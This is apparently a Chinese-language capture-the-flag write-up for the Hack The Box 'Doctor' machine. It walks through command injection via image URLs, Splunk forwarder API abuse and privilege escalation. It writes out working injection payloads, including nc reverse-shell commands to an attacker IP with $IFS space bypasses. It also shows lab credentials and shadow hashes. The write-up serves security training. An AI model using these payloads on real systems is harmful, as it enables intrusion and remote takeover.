HTB-Doctor-Writeup

前言

Author: 0x584A

知识:

  • nmap
  • OS command injection
  • Netcat
  • Curl
  • PySplunkWhisperer2
  • Splunk REST API RCE

信息收集

首先还是通过 Nmap 进行端口扫描,识别开放服务情况。

  • 22 : sshd Server
  • 80 : Apache Web Server
  • 8089 : Splunkd Web Server

OK,存在Web服务的,访问下看看

目前来看80端口上部署的是一个静态网站,就一个有用的信息 info@doctors.htb ,看来是需要改 hosts 文件的指向了。

再看看 8089 ,运行的是 Splunk 8.0.5,点击目录连接都需要进行 Basic 权限验证。

Splunk是一个机器数据分析平台,针对所有的IT系统和基础设施数据,提供数据索引,监控和可视化展现。收集数据源包括:操作系统、网络设备、安全设备和应用程序的日志。

通过了解 Splunk 部署时需要安装两个服务 Splunk Web 和 Splunkd。 Splunk Web 用于可视化展现和查询索引数据,Splunkd 也是一个 Web 服务默认端口是 8089,传输协议是 HTTPS。后者是一个转发器,将日志目录文件发送到 Splunk Web。

先来找找有没有什么工具可以利用。

“Abusing Splunk Forwarders For Shells and Persistence” 文章讲解了,利用允许的身份验证用户通过转发器 API 向机器发送命令执行shell。工具也提供了,现在只需要怼 Splunk 的账号就好了。

获取 user flag

这里我走了一段时间的弯路,因为没有修改 hosts 将 doctors.htb 与 IP 关联上,导致浪费了大量时间花费在目录枚举和爆破 Basic 口令,burp教育版爆破跑的贼慢不说,还只能开一个线程。

当尝试修改完 hosts 后,访问 doctors.htb 直接重定向到 http://doctors.htb/login 页面… 特么的… 就差一口老血吐屏幕上了

先测试下是否存在SQL注入,将抓的数据包通过 SQLMAP 自动跑一下.. 失败..

尝试通过注册页面注册一个账号

登录后在后台页面瞎点菜单,观察下请求。通过 burp 观察到一个 /rest_password 路径,但直接访问会302到 /home。越权修改管理员密码?(伏笔…)

因为在 /new 页面发布内容后,会创建对应的 /post/<id>,从2开始,改为1时提示admin创建的内容


点击 admin 名称,看到的内容是一样的…

一度以为是越权修改管理员密码… 又硬怼了两个小时。

换思路,看看是不是模板注入。测试下来好像也不是,开始尝试XSS…

牛皮,使用 CURL 请求内容里的图片地址。

是否存在

<img src=http://10.10.14.30:9999/{{2-1}}> - 有响应 路径为/

<img src=http://10.10.14.30:9999/$(2-1)> - 有响应 路径为`/

<img src=http://10.10.14.30:9999/$(ls)> - 有响应 路径为/blog

看样子存在命令执行,试试 <img src=http://10.10.14.30:9999/$(pwd)>

尝试通过NC反弹上线。<img src=http://10.10.14.30:9999/$(echo 'bmMgLWUgL2Jpbi9zaCAxMC4xMC4xNC4zMCA5OTk5Cg=='|base64 -d|bash)> 失败,怀疑需要bypass命令里的空格。

参考 https://xz.aliyun.com/t/3918

我这里有个逻辑错误,同时请求和监听 9999 这个端口,当 curl 过来后监听就终止了,后续的命令执行反弹 nc 将不会执行。

所以用 python 起个了个 http,用于判断服务端的 CURL 是否请求,在 nc 监听 9999,判断反弹 shell 是否执行。

最终使用特殊变量:$IFS 完成反弹

<img src=http://10.10.14.30/$(nc -e /bin/sh 10.10.14.30 9999)> 这里也很奇怪,不加 traditional 不会成功反弹…

<img src=http://10.10.14.30/$(nc.traditional$IFS-e$IFS/bin/sh$IFS'10.10.14.30'$IFS'9999')>

查看当前用户,及哪些用户具备登录。

查看了 web 用户下是没有flag文件的,看来是保存在其他账号哪了。传 linpeas.sh 去服务器,将扫描完成的结果通过 NC 回传到 kali。

存在 admin 账号的密码哈希,暂时不知道是啥密码类型..

在审计日中看到有关 shaun 用户的信息,尝试全局搜索。

grep -ri 'shaun' / 之后并没用有用的东西。grep -i 'uid=1002' auth.log* 一样找不到有用的内容…

后来还是翻 linpeas 的时候看到一个 backup 文件,里面有一条重置密码,但返回的是后端500错误。而这个 /rest_password 就是先前 burp 里看到的那条…

尝试用 shaun:Guitar123 组合,成功访问Splunk API。 哎,信息收集还是得仔细才能找到突破口…

su 到 shaun 用户那 user flag

获取 root flag

安装 PySplunkWhisperer2 工具所需的扩展 pip install selenium,按示例获取下 /etc/passwd 文件内容。

-F 指令是 —form 的简写,模拟http表单提交数据,如果提交的是文件,则需要加@符号带路径

拿到账号的哈希,先丢到hashcat去跑一下再说…

web:$6$luVwBTOn1q154RLG$KKPgd66FyKM6z.hCPPvOYEVNoZgj/sAagvMrzWSoKrnWICgHo8oRGPzt5glRc7lm6lDfbwk3OUCIfBkYeeCHG0:18463:0:99999:7:::
shaun:$6$xEyi3OGI4XZfW7uM$dPxAIWOZuAFwJj4W69VGT.T1YLlnEvvaphLjswVs4hv5RUtJ7v7F37XfPtwst9Ije3imy4gRcRppsAZLQ81z80:18519:0:99999:7:::
root:$6$384TbSO3bB1PWLT1$U8U.j.zBLXobhorPDxOMRZh4eE86lcn7C0dvqRvfJ9qDzreti8HDvXwFZccDat9/HJRNwu04ErVxo3mUwVbs5.:18512:0:99999:7:::

哈?hashcat 说要跑两天?那没它什么事了.. 直接 nc 返回一个 root 权限 shell

参考

https://docs.splunk.com/Documentation/Splunk/8.1.1/RESTUM/RESTusing
https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/
https://www.spacesafe.top/archives/969


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。